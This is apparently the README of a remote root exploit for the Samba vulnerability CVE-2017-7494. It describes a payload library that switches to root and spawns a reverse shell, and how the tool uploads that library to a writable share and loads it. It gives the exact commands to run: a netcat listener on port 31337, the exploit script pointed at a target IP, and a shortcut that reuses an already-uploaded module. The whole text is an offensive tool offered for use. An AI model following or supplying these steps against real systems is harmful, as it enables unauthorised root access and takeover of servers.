Remote root exploit for the SAMBA CVE-2017-7494 vulnerability.
This exploit is divided in 2 parts:
- First, it compiles a payload called "implant.c" and generates a library (libimplantx32.so or libimplantx64.so) that changes to the root user, detaches from the parent process and spawns a reverse shell.
- Second, it finds a writeable share in the specified target host, uploads the library with a random name and tries to load it.
As long as the target is vulnerable and the payload is the correct for the target operating system and architecture, the exploit is 100% reliable.
In your machine, run the following command:
$ nc -p 31337 -l
Then, run the exploit against your target and wait until it connects back to your Netcat:
$ python cve_2017_7494.py -t target_ip
If you close too fast the reverse shell, instead of running again the exploit uploading the module, etc... you can just pass the path to the module it already uploaded. Supposing it was uploaded to /shared/directory/ as "module.so", you would run a command like the following one:
$ python cve_2017_7494.py -t target_ip -m /shared/directory/module.so
I might update it at some point adding support for non Intel based architectures.
-- Joxean Koret